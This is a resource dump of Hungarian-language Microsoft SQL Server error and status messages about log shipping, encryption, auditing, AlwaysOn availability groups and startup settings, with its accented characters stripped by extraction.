0A(z) %1!s! adatbzis nem ONLINE. A biztonsgi mentsi feladatot nem hajtja vgre a rendszer, amg ez az adatbzis jra online llapotba nem kerl.

HRiasztsi feladat naplkldse.

\Riasztsi feladat lpsnek naplkldse.

dRiasztsi feladat temezsnek naplkldse.

dElsQdleges kiszolgli riaszts naplkldse.

dMsodlagos kiszolgli riaszts naplkldse.

A(z) [%1!s!] naplkldsi biztonsgi mentsi gynk ellenQrizte a(z)  %2!s!.wrk  biztonsgi msolat fjlt, s tnevezte  %3!s!.trn  fjll. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

$Nem lehet lekrdezni llapotfigyelsi adatokat a(z) %3!s! llapotfigyelsi kiszolgltl az elsQdleges %1!s!.%2!s! naplkldsre vonatkozan.

$Nem lehet lekrdezni llapotfigyelsi adatokat a(z) %3!s! llapotfigyelsi kiszolgltl a msodlagos %1!s!.%2!s! naplkldsre vonatkozan.

Az alaptbla frisstshez rendszergazdai jogosultsg szksges. Az alaptbla frisstse nem sikerlt.

Nem vgezhetQ el %1!s! mqvelet a kvetkezQ %2!s! alrsn:  %4!s!  %3!s!. Az alrs mr ltezik, vagy nem lehet hozzadni.

Nem lehet elvetni a szolgltatban a(z)  %1!s!  ujjlenyomattal rendelkezQ kulcsot.

A titkostsi szolgltatt ezzel kikapcsolta. A szolgltatval kzs titkostsi munkamenetekkel rendelkezQ felhasznlk azonban tovbbra is hasznlhatjk azt. A szolgltat minden felhasznlra vonatkoz letiltshoz indtsa jra a kiszolglt. 

A titkostsi szolgltatt ezzel elvetette. A szolgltatval kzs titkostsi munkamenetekkel rendelkezQ felhasznlk azonban tovbbra is hasznlhatjk azt. A szolgltat minden felhasznlra vonatkoz letiltshoz indtsa jra a kiszolglt. 

TA rendszer betlttte a(z)  %1!s!  titkostsi szolgltati knyvtrat a memriba. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Nem sikerlt ellenQrizni a(z)  %1!s!  DLL Authenticode alrst.

Legalbb egy metdus nem tallhat a(z)  %1!s!  titkostsi szolgltati knyvtrban.

|SQL Server naplzsa nem rgztette a(z) %1!s! mqveletet.

4A rendszer megksrli betlteni a(z)  %1!s!  knyvtrat a memriba. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Figyelmeztets: az adatbzis-titkostsi kulcs titkostshoz hasznlt tanstvnyrl nem kszlt biztonsgi msolat. Haladktalanul vgezze el a tanstvny s a tanstvnyhoz trstott titkos kulcs biztonsgi mentst. Ha a tanstvny brmikor elrhetetlenn vlik, illetve ha vissza kel lltania vagy csatolnia kell az adatbzist msik kiszolgln, rendelkeznie kell mind a tanstvny, mind pedig a titkos kulcs biztonsgi msolatval, ellenkezQ esetben nem tudja megnyitni az adatbzist.

Nem sikerlt ellenQrizni a(z)  %1!s!  Authenticode alrst. A rendszer kihagyja az SQL Server DLL-fjljainak alrs-ellenQrzst. Az SQL Server eredeti pldnyai rendelkeznek alrssal. Az Authenticode alrs ellenQrzsnek sikertelensge utalhat arra is, hogy a szoftver nem eredeti SQL Server kiads. Teleptsen egy eredeti SQL Server-pldnyt, vagy forduljon az gyflszolglathoz.

Hiba trtnt a szolgltats fQkulcsval vgzett %1!s! mqvelet sorn.

,Nem lehetett visszafejteni a szolgltats fQkulcst annak valamelyik titkostsval. Tovbbi rszletek a sys.key_encryptions nzetben tallhatk.

ltalnos hiba trtnt a szolgltats fQkulcsnak titkostsa vagy visszafejtse sorn.

Adatbzis-titkostsi vizsglat megkezdse a(z)  %1!s!  adatbzison.

A(z)  %1!s!  adatbzis adatbzis-titkostsi vizsglata befejezQdtt.

A(z)  %1!s!  adatbzis adatbzis-titkostsi vizsglata megszakadt. A folytatshoz adja ki jra az ALTER DB utastst.

A(z)  %1!s!  adatbzis adatbzis-titkostsi vizsglatt nem lehet teljes egszben vgrehajtani, mert nmelyik fjl offline llapotban van. Tegye a fjlokat online mdon hozzfrhetQv, majd futtassa vgig a vizsglatot.

Nem lehet ltrehozni bejelentkezsi jogkivonatot, mert tl sok a msodlagos rsztvevQ. A msodlagos rsztvevQk megengedett legnagyobb szma %1!s!. A problma elhrtshoz tvoltsa el a bejelentkezst egy kiszolgli szerepkrbQl.

tAz adatbzis-titkostsi kulcs srlt, nem olvashat.

<Naplzott esemny: %1!s!.

A(z)  %1!s!  naplzsnak j belltsa ON_FAILURE=CONTINUE, mert a kiszolgl indtsa az -m jelzQvel trtnt.

Az SQL Server Audit naplzst nem sikerlt elindtani, a kiszolgl pedig lell. A problma hibaelhrtshoz a kiszolgl indtsakor hasznlja az -m jelzQt (az egyfelhasznls mdot) a naplzs ltal kivltott lellts elkerlshez.

Legalbb egy naplzsi mqvelet nem indult el. A hibanaplban szereplQ korbbi hibk alapjn azonostsa a kivlt okot, majd minden egyes hiba esetben hrtsa el a vonatkoz problmkat.

XAz SQL Server indtsa az -f jelzQvel trtnt. Az SQL Server Audit naplzsa letiltva. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

0Az SQL Server Audit megkezdi a naplzsi feladatok vgrehajtst. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

0Az SQL Server Audit megkezdte a naplzsi feladatok vgrehajtst. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

8A kiszolgl lellt, mert a(z)  %1!s!  SQL Server Audit naplzs belltsban hiba esetn kikapcsolsi utasts szerepel. A problma hibaelhrtshoz a kiszolgl indtsakor hasznlja az -m jelzQt (az egyfelhasznls mdot) a naplzs ltal kivltott lellts elkerlshez.

A(z)  %1!s!  naplzs esetben nem sikerlt a(z) %2!s! mqvelet. Tovbbi rszletekrt tanulmnyozza az SQL Server hibanapljt. Lekrdezheti a sys.dm_os_ring_buffers tartalmt is, ahol a ring_buffer_type = 'RING_BUFFER_XE_LOG'.

Az fn_get_audit_file fggvny tugorja a rekordokat a(z)  %1!s!  rekordtl kezdve %2!s! eltols mellett.

xA(z) %2!s! adatbzisban levQ %1!s! vrakozsi sorhoz engedlyezve van az aktivls, s a sor zrolatlan zeneteket tartalmaz, de %3!s! msodperce nem lett vgrehajtva RECEIVE mqvelet.

A frt vgpontja nem indthat el, mert az alaprtelmezett %1!s! vgponti konfigurci mg nem lett betltve.

8Amikor a FILESTREAM NON_TRANSACTED_ACCESS adatbzis-kapcsol belltsa FULL, s be van kapcsolva a READ_COMMITTED_SNAPSHOT vagy az ALLOW_SNAPSHOT_ISOLATION kapcsol, le van tiltva a T-SQL s tranzakcialap olvassi hozzfrs a FILESTREAM-adatokhoz egy FILETABLE krnyezetben.

%1!s! nem tranzakcialap FILESTREAM-ler trlve lett a kvetkezQ azonostj adatbzisbl: %2!s!.

Nem lehet elvgezni az elveszett fjltbla mdost helyrelltst a kvetkezQ azonostj adatbzisban: %1!s!.

TEngedlyezve van a FILESTREAM-fjlbemeneti/-kimeneti hozzfrs, de nem hoztak ltre figyelQt a rendelkezsre llsi csoport szmra. Egy FILESTREAM PathName nem hivatkozhat majd egy virtulis hlzat nevre, ezrt egy fizikai Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csompontra kell majd hivatkoznia. Ez korltozhatja a FILESTREAM-fjlbemeneti/-kimeneti hozzfrs hasznlhatsgt egy rendelkezsre llsi csoport feladattvtele utn. Ezrt javasolt figyelQt ltrehozni mindegyik rendelkezsre llsi csoport szmra. Egy rendelkezsre llsi csoport figyelQjnek ltrehozsrl az SQL Server online knyvekben olvashat.

xEngedlyezve van a FILESTREAM-fjlbemeneti/-kimeneti hozzfrs. Egy vagy tbb rendelkezsre llsi csoporthoz ( %1!s! ) jelenleg nem tartozik figyelQ. Egy FILESTREAM PathName nem hivatkozhat majd egy virtulis hlzat nevre, ezrt egy fizikai Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csompontra kell majd hivatkoznia. Ez korltozhatja a FILESTREAM-fjlbemeneti/-kimeneti hozzfrs hasznlhatsgt egy rendelkezsre llsi csoport feladattvtele utn. Ezrt javasolt figyelQt ltrehozni mindegyik rendelkezsre llsi csoport szmra. Egy rendelkezsre llsi csoport figyelQjnek ltrehozsrl az SQL Server online knyvekben olvashat.

Kapcsoldsi idQtllps trtnt, mikzben a rendszer megprblt kapcsolatot ltesteni a kvetkezQ rendelkezsre llsi msodpldnnyal:  %1!s! , azonost: [%2!s!]. Hlzati vagy a tqzfallal kapcsolatos problma merlt fel, vagy a msodpldnynak megadott vgpontcm nem a futtat kiszolglpldny adatbzis-tkrzsi vgpontjt adja meg.

4A(z)  %1!s!  rendelkezsre llsi csoporthoz tartoz, a(z) [%3!s!] azonostj  %2!s!  rendelkezsre llsi msodpldny s a(z) [%5!s!] azonostj  %4!s!  kztti kapcsolat sikeresen ltrejtt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  kiszolglpldny (azonost: [%2!s!]) s a(z)  %3!s!  kiszolglpldny (azonost: [%4!s!]) kztti kapcsolat le lett tiltva, mert letiltottk vagy lelltottk az adatbzis-tkrzsi vgpontot. Indtsa jra a vgpontot az ALTER ENDPOINT Transact-SQL utasts hasznlatval, a STATE = STARTED bellts megadsval.

0Kapcsoldsi idQtllps trtnt a kvetkezQ rendelkezsre llsi msodpldnnyal korbban ltrehozott kapcsolaton:  %1!s! , azonost: [%2!s!]. Hlzati vagy a tqzfallal kapcsolatos problma merlt fel, vagy a rendelkezsre llsi msodpldny tvltott felold szerepkrre.

<Fel lett fggesztve az AlwaysOn rendelkezsre llsi csoportokkal kapcsolatos adatmozgats a kvetkezQ adatbzisra vonatkozan:  %1!s! . Ok:  %2!s!  (forrsazonost: %3!s!; forrskarakterlnc:  %4!s! ). Az adatbzissal kapcsolatos adatmozgats folytatshoz kzzel kell folytatnia az adatbzis mqkdst. Egy rendelkezsre llsi adatbzis mqkdsnek folytatsrl az SQL Server online knyvekben olvashat.

Folytatdik az AlwaysOn rendelkezsre llsi csoportokkal kapcsolatos adatmozgats a kvetkezQ adatbzisra vonatkozan:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Ltrejtt az AlwaysOn rendelkezsre llsi csoportokhoz tartoz kapcsolat a(z) %1!s! adatbzissal a kvetkezQ %2!s! adatbzis szmra:  %3!s! , rendelkezsre llsi msodpldny azonostja: {%4!s!-%5!s!-%6!s!-%7!s!%8!s!-%9!s!%10!s!%11!s!%12!s!%13!s!%14!s!}. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Le lett lltva az AlwaysOn rendelkezsre llsi csoportokhoz tartoz kapcsolat a(z) %1!s! adatbzissal a kvetkezQ %2!s! adatbzis szmra:  %3!s! , rendelkezsre llsi msodpldny azonostja: {%4!s!-%5!s!-%6!s!-%7!s!%8!s!-%9!s!%10!s!%11!s!%12!s!%13!s!%14!s!}. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A rendszer srlt FileStream-tviteli zenetet kapott. A kvetkezQ zenetszakasz rvnytelen:  %1!s! . 

PA rendszer kihagyja a(z)  %1!s!  adatbzis helyrelltst, mert az adatbzis nem hozzfrhetQ rendelkezsre llsi adatbzisknt van megjellve. Az elsQdleges pldnnyal folytatott munkamenet megszakadt az adatbzis kzs helyrelltsi pontra val visszalltsa kzben. Vagy hinyzik a kvrum a WSFC-csomponthoz, vagy nem mqkdnek a kommunikcis kapcsolatok a csatolsokkal, a vgponti konfigurcival vagy (a kiszolgli fikhoz vagy a biztonsgi tanstvnyhoz tartoz) engedlyekkel kapcsolatos problmk miatt. Az adatbzishoz val hozzfrs biztostshoz meg kell llaptania, hogy mi mdosult a munkamenet konfigurcijban, s vissza kell vonnia a vltozsokat.

A(z)  %1!s!  rendelkezsre llsi adatbzis helyrelltsa fggQben van, amg a msodlagos msodpldny nem kap tovbbi tranzakcinaplt az elsQdleges pldnytl, mielQtt a mqvelet befejezQdhet, s az adatbzis online llapotra vlthat. GyQzQdjn meg arrl, hogy az elsQdleges msodpldnyt futtat kiszolglpldny fut.

Nem sikerlt kizrlagos hozzfrst szerezni a bQvtett helyrelltsi elgazsok vermhez (hiba: %1!s!). Ha a problma tartsan fennll, esetleg jra kell indtani az SQL Server pldnyt. 

DA(z)  %1!s!  adatbzishoz tartoz naplnak a msodlagos msodpldnyon foly biztonsgi mentse sikeresen ltrehozta a biztonsgimsolat-fjlokat, de nem tudta biztostani, hogy egy biztonsgi mentsi pont vglegestve legyen az elsQdleges msodpldnyon. Ez az zenet csak tjkoztat jellegq. Prizze meg ezt a napl-biztonsgimsolatot az ehhez az adatbzishoz tartoz tbbi napl-biztonsgimsolattal egytt. 	

A(z)  %1!s!  msodlagos adatbzison foly biztonsgi ments le lett lltva, de nem sikerlt a biztonsgi mentst lellt zenetet kldeni az elsQdleges msodpldnynak. Ez az zenet csak tjkoztat jellegq. Az elsQdleges msodpldnynak szlelnie kell ezt a hibt, s annak megfelelQen mdostania kell a biztonsgi mentsi elQzmnyeit. 

dEgy AlwaysOn rendelkezsre llsi csoportokkal kapcsolatos llapotvltozs miatt folyamatban van a nem minQstett tranzakcik visszalltsa a kvetkezQ adatbzisban: %1!s!. A visszallts vrhat befejezQdse: %2!s!%%. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

ONLINE

(ALLOW_ROW_LOCKS

,ALLOW_PAGE_LOCKS

$visszafejts

 ltrehozs

 Replikci

(Vltozskvets

<Adatvltozsok rgztse

tkrztt

 elsQdleges

 msodlagos

TEMEZP

NUMANODE

8egy rendszeradatbzis.

Lterjesztsi adatbzisknt mqkdik

0belsQ hiba trtnt

rszt vesz egy tkrzsi munkamenetben. lltsa le a tkrzsi munkamenetet, s prblja meg jbl

nem SIMPLE helyrelltsi mdban van. Mdostsa a helyrelltsi modellt egyszerqre (SIMPLE), s prblja meg jbl

@egy adatbzis-pillanatkp.

@jelenleg nem engedlyezett

Az SQL Server korltozsa miatt nem hajthat vgre T-SQL nyelvq kd egy eljrson bell.\nA jelen eljrs befejezQdse utn hajtsa vgre a kvetkezQ T-SQL nyelvq kdot a(z)  %1!s!  adatbzis krnyezetben:\n%2!s!

XA kvetkezQ nyomkvetsi azonostt rendeltk ehhez a munkamenethez:  %1!s! . Ha segtsgre van szksge, adja meg ezt a nyomkvetsi azonostt az gyflszolglatnak.

LNem sikerlt ltrehozni a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) csoportot a kvetkezQ nven:  %1!s! . A megadott nevq WSFC-csoport mr ltezik. Prblja jbl elvgezni a mqveletet olyan csoportnv megadsval, amely egyedi a frtben.

AlwaysOn rendelkezsre llsi csoportok: A helyi Windows Server feladattvteli frtszolgltats elrhetetlenn vlt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn rendelkezsre llsi csoportok: A helyi Windows Server feladattvteli frtszolgltatsi csompont mr nem online llapot. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn rendelkezsre llsi csoportok: A rendszer a helyi Windows Server feladattvteli frtszolgltats indulsra vr. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn rendelkezsre llsi csoportok: A helyi Windows Server feladattvteli frtszolgltats elindult. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn rendelkezsre llsi csoportok: A rendszer a helyi Windows Server feladattvteli frtszolgltatsi csompont indulsra vr. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn rendelkezsre llsi csoportok: A helyi Windows Server feladattvteli frtszolgltatsi csompont elindult. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn rendelkezsre llsi csoportok: A rendszer a helyi Windows Server feladattvteli frtszolgltatsi csompont online llapotra vltsra vr. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn rendelkezsre llsi csoportok: A helyi Windows Server feladattvteli frtszolgltatsi csompont online llapotra vltott. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: Folyamatban van a kvetkezQ rendelkezsre llsi csoport helyi msodpldnynak indtsa:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

XAlwaysOn: A(z)  %1!s!  rendelkezsre llsi csoport el lett tvoltva, mikzben az SQL Server e pldnyn levQ rendelkezsre llsi msodpldny offline llapotban volt. Most el lesz tvoltva a helyi msodpldny. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: Folyamatban van a kvetkezQ rendelkezsre llsi csoport helyi msodpldnynak lelltsa:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: A(z)  %1!s!  rendelkezsre llsi csoport helyi msodpldnya arra kszl, hogy a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frttQl rkezett krelemre vlaszknt elsQdleges szerepkrre vltson. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: A(z)  %1!s!  rendelkezsre llsi csoport helyi msodpldnya arra kszl, hogy a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frttQl rkezett krelemre vlaszknt felold szerepkrre vltson. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: A kvetkezQ rendelkezsre llsi csoport offline llapotra vlt, mert folyamatban van az eltvoltsa:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az AlwaysOn rendelkezsre llsi csoportok indtsa meg lett szaktva, mert folyamatban van az SQL Server lelltsa. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

pNem sikerlt frissteni a msodpldny llapott a Windows Server feladattvteli frtszolgltatsban (Windows Server Failover Clustering  WSFC) a kvetkezQ kivtel miatt: %1!s!.

AlwaysOn: A kvetkezQ rendelkezsre llsi csoport helyi msodpldnya offline llapotra vlt, mert lejrt a brlet, vagy sikertelen volt a brlet megjtsa:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

dAlwaysOn: A rendelkezsre llsi msodpldnyok kezelQje offline llapotra vlt, ok: %1!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: A kvetkezQ rendelkezsre llsi csoport helyi msodpldnya offline llapotra vlt, mert a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) frt megfelelQ erQforrsa mr nem online llapot:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

|AlwaysOn: A kvetkezQ rendelkezsre llsi csoport helyi msodpldnya jraindul, mert a ltezQ elsQdleges msodpldny jraindult, vagy a rendelkezsre llsi csoport tadta a feladatait egy j elsQdleges msodpldnynak:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: Sikertelen volt a(z)  %1!s!  rendelkezsre llsi csoportnak megfelelQ Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) erQforrs llapotnak explicit mdon val tlltsa. Az erQforrs llapota nem konzisztens a rendelkezsre llsi csoport llapotval az SQL Server pldnyn. A WSFC-erQforrs llapota azt jelzi, hogy a helyi rendelkezsre llsi msodpldny az elsQdleges msodpldny, de a helyi msodpldny nem elsQdleges szerepkrben mqkdik. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: Folyamatban van a kvetkezQ rendelkezsre llsi csoport helyi msodpldnynak eltvoltsa:  %1!s! . Az SQL Server pldnya nem tudta rvnyesteni a rendelkezsre llsi csoport konfigurcijnak integritst a Windows Server feladattvteli frtszolgltatsi (Windows Server Failover Clustering  WSFC) trolban. Ez vrhat, ha eltvoltottk a rendelkezsre llsi csoportot az SQL Server msik pldnyrl. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

$AlwaysOn: A kvetkezQ rendelkezsre llsi csoport helyi msodpldnya offline llapotra vlt:  %1!s! . Ez a msodpldny verzieltrs miatt nem tudta beolvasni a megQrztt konfigurcit. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: A kvetkezQ rendelkezsre llsi csoport helyi msodpldnya jraindul, mert nem tudta beolvasni a megQrztt konfigurcit:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: A kvetkezQ rendelkezsre llsi csoport helyi msodpldnya offline llapotra vlt:  %1!s! . Ez a msodpldny nem tudta beolvasni a megQrztt konfigurcit, s kimertette az jraindtsi ksrletek maximlisan engedlyezett szmt. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

lNem sikerlt megQrizni a(z)  %1!s!  rendelkezsre llsi csoport konfigurcis adatait a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) frtjben. A helyi rendelkezsre llsi msodpldny vagy nem az elsQdleges msodpldny, vagy folyamatban van a lelltsa.

Az AlwaysOn rendelkezsre llsi msodpldny-kezelQ indtsa le lett lltva, mert nincs megadva a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC)  FixQuorum  tulajdonsga. Esetleg mg nincs teleptve az elQfelttelknt szksges KB 2494036 jelq QFE-gyorsjavts a Windows Server 2008/Windows Server 2008 R2 rendszereken. Tovbbi informcirt tekintse t a Microsoft Tudsbzis KB 2494036-os cikkt ( A hotfix is available to let you configure a cluster node that does not have quorum votes in Windows Server 2008 and in Windows Server 2008 R2 ).

XAlwaysOn: Folyamatban van a rendelkezsre llsi msodpldnyok kezelQjnek indtsa. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

AlwaysOn: A rendelkezsre llsi msodpldnyok kezelQje arra vr, hogy az SQL Server pldnya engedlyezze az gyflkapcsolatokat. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  rendelkezsre llsi csoport helyi rendelkezsre llsi msodpldnya nem tudja fogadni a(z)  %2!s!  jelzst aktulis  %3!s!  msodpldny-szerepkrben s llapotban (a konfigurci %4!s! a Windows Server feladattvteli frtszolgltatsi trolban, a helyi rendelkezsre llsi msodpldnyhoz a(z) %5!s! csatlakozott). A rendelkezsre llsi msodpldnynak kldtt jelzs a msodpldny aktulis szerepkrben rvnytelen. Prblja jbl elvgezni a mqveletet, amikor a jelzs a helyi rendelkezsre llsi msodpldny aktulis szerepkre alapjn engedlyezett.

Sikertelen volt a(z)  %1!s!  rendelkezsre llsi csoport online llapotba lltsa. A mqvelet idQtllps miatt megszakadt. GyQzQdjn meg arrl, hogy a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) frtje online llapot. Ezt kvetQen gyQzQdjn meg arrl, hogy a rendelkezsre llsi csoport erQforrsa ltezik a WSFC-frtben. Ha a problma tartsan fennll, esetleg el kell dobni a rendelkezsre llsi csoportot, majd jbl ltre kell hozni azt.

A(z)  %1!s!  adatbzis nem tvolthat el a kvetkezQ rendelkezsre llsi csoportbl:  %2!s! . Az adatbzis vagy nem tartozik a rendelkezsre llsi csoporthoz, vagy nem lett csatlakoztatva a csoporthoz. EllenQrizze az adatbzis s a rendelkezsre llsi csoport nevt, majd prblja jbl vgrehajtani a parancsot.

Az AlwaysOn rendelkezsre llsi csoportok msodpldny-kezelQjnek indtsa a kvetkezQ SQL Server-hiba miatt sikertelen volt: %1!s!. A hiba oknak megllaptshoz ellenQrizze az elQzQ hibt az SQL Server hibanapljban.

A rendszer flbehagyja a(z)  %1!s!  adatbzis-mqveletet a(z)  %3!s!  rendelkezsre llsi csoport  %2!s!  rendelkezsre llsi adatbzisn. Megvltozott a helyi rendelkezsre llsi msodpldny sorszma (elQzQ sorszm: %4!s!, jelenlegi sorszm: %5!s!). Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

HNem sikerlt belltani az adatbzis adatait a kvetkezQ rendelkezsre llsi csoportnl: %1!s!. A helyi rendelkezsre llsi msodpldny nem az elsQdleges msodpldny, vagy folyamatban van a lelltsa. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A(z)  %1!s!  adatbzis nem csatlakoztathat a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . Az adatbzis mr csatlakozott a rendelkezsre llsi csoporthoz. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

DAz AlwaysOn rendelkezsre llsi csoportok nem lettek elindtva, ok: %1!s!. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Az online llapot utni feldolgozs le lett lltva a kvetkezQ rendelkezsre llsi csoportnl:  %1!s! . Vagy mr befejezQdtt az online llapot utni feldolgozs, vagy a helyi rendelkezsre llsi msodpldny mr nem az elsQdleges msodpldny, illetve folyamatban van a rendelkezsre llsi csoport eldobsa. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

Sikertelen volt a Windows Server feladattvteli frtszolgltats (Windows Server Failover Clustering  WSFC) esemnyrtestQ munkavgzQ feladatnak indtsa (SQL OS-hiba: %1!s!). Ha a problma tartsan fennll, esetleg jra kell indtani az SQL Server-pldnyt.

lSikertelen volt a WSFC esemnyrtestQ munkavgzQ feladatnak lelltsa (SQL OS-hiba: %1!s!). Ha a problma tartsan fennll, esetleg jra kell indtani az SQL Server-pldnyt.

Nem sikerlt kizrlagos hozzfrst szerezni a helyi rendelkezsre llsi csoport konfigurcis adataihoz (SQL OS-hiba: %1!s!). Ha a problma tartsan fennll, esetleg jra kell indtani az SQL Server-pldnyt.

\Az ALTER AVAILABILITY GROUP  %1!s!  MODIFY DDL-utastsban megadott msodpldny-bellts megegyezik a rendelkezsre llsi csoport gyorsttrazott konfigurcijval.

A(z)  %1!s!  adatbzis nem csatlakoztathat a kvetkezQ rendelkezsre llsi csoporthoz:  %2!s! . Folyamatban van az adatbzis eltvoltsa a rendelkezsre llsi csoportbl. Az adatbzis-eltvoltsi mqvelet befejezQdse utn az adatbzis mr nem lesz csatlakoztatva a rendelkezsre llsi csoporthoz. Ekkor prblja megismtelni az adatbzis-csatlakoztatsi parancs vgrehajtst.

%1!s! hiba trtnt a szemantikai index feltltse sorn a kvetkezQ tblnl vagy indexelt nzetnl:  %2!s!  (tbla vagy indexelt nzet azonostja: %3!s!, adatbzis-azonost: %4!s!, dokumentumazonost: %5!s!). 

 Egy ALTER FULLTEXT INDEX utasts nem tudja eltvoltani a  STATISTICAL_SEMANTICS  kapcsolt egy olyan index utols oszloprl, amelyre be van lltva a kapcsol, amikor egy  WITH NO POPULATION  zradk is meg van adva. Tvoltsa el a  WITH NO POPULATION  zradkot.

Nem tmogatott terletibellts-azonost lett megadva egy  STATISTICAL_SEMANTICS  bellts oszlophoz. GyQzQdjn meg arrl, hogy a terletibellts-azonost helyes, s hogy teleptve vannak a megfelelQ nyelvq statisztikk.

Figyelmeztets: A(z)  %1!s!  tbla vagy indexelt nzet (tbla vagy indexelt nzet azonostja:  %2!s! , adatbzis-azonost:  %3!s! ) feltltse olyan,  %4!s!  teljes szveges kulcsrtkkel rendelkezQ dokumentumot szlelt, amely a szemantikai indexelsnl nem tmogatott nyelvet ad meg. A sor egyes oszlopai nem lesznek rszei a szemantikai indexnek.

lNincs regisztrlva szemantikai nyelvi statisztikai adatbzis. Nem hozhatk ltre, s nem tlthetQk fel teljes szveges indexek a  STATISTICAL_SEMANTICS  kapcsol hasznlatval. 

A szemantikai nyelvi statisztikai adatbzis nem rhetQ el, vagy rvnytelen. Nem hozhatk ltre, s nem tlthetQk fel teljes szveges indexek a  STATISTICAL_SEMANTICS  kapcsol hasznlatval. 

A(z)  %2!s!  tblzatra s  %3!s!  indexre vonatkoz  %1!s!  bellts aktulis rtke %4!s!.

A munkaszlak maximlis szmaknt megadott rtk (%1!s!) nem ri el a szmtgpen a munkaszlak szmra vonatkoz als hatrt. Helyette az alaprtelmezett %2!s! rtket veszi figyelembe a rendszer. A munkaszlak maximlis szmnak megvltoztatshoz hasznlja a kvetkezQ trolt eljrst: sp_configure 'max worker threads'.

Nincs elegendQ munkaszl a processzorok szmhoz kpest. Ennek az az oka, hogy legalbb egy processzort adtak a rendszerhez. A munkaszlak szmnak nvelshez hasznlja a kvetkezQ trolt eljrst: sp_configure 'max worker threads'.

A rendszer %1!s! MB RAM memrit szlel. Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

A szolgltatsfik a kvetkezQ:  %1!s! . Ez az zenet csak tjkoztat jellegq. Nincs szksg felhasznli beavatkozsra.

p%1!s! hiba trtnt a kvetkezQ paramterfjl megnyitsa kzben:  %2!s! . GyQzQdjn meg arrl, hogy a fjl ltezik, s ha ltezik, gyQzQdjn meg arrl, hogy rvnyes paramterfjl.

%1!s! hiba trtnt a belltsjegyzkbQl vagy a parancssorbl szrmaz paramterek feldolgozsakor. EllenQrizze a paramtereket.

A rendszer elavult SQL Server indtsi paramterek tadst szlelte a belltsjegyzkbQl: %1!s!

A kvetkezQ SQL Server indtsi paramterek elavultak, vagy helytelenl vannak megadva: %1!s!

DAz SQL Server tbb pldnya van teleptve ezen a szmtgpen. Adja ki a parancsot jbl, s hasznlja az -s paramtert az elindtani kvnt pldny nevvel.

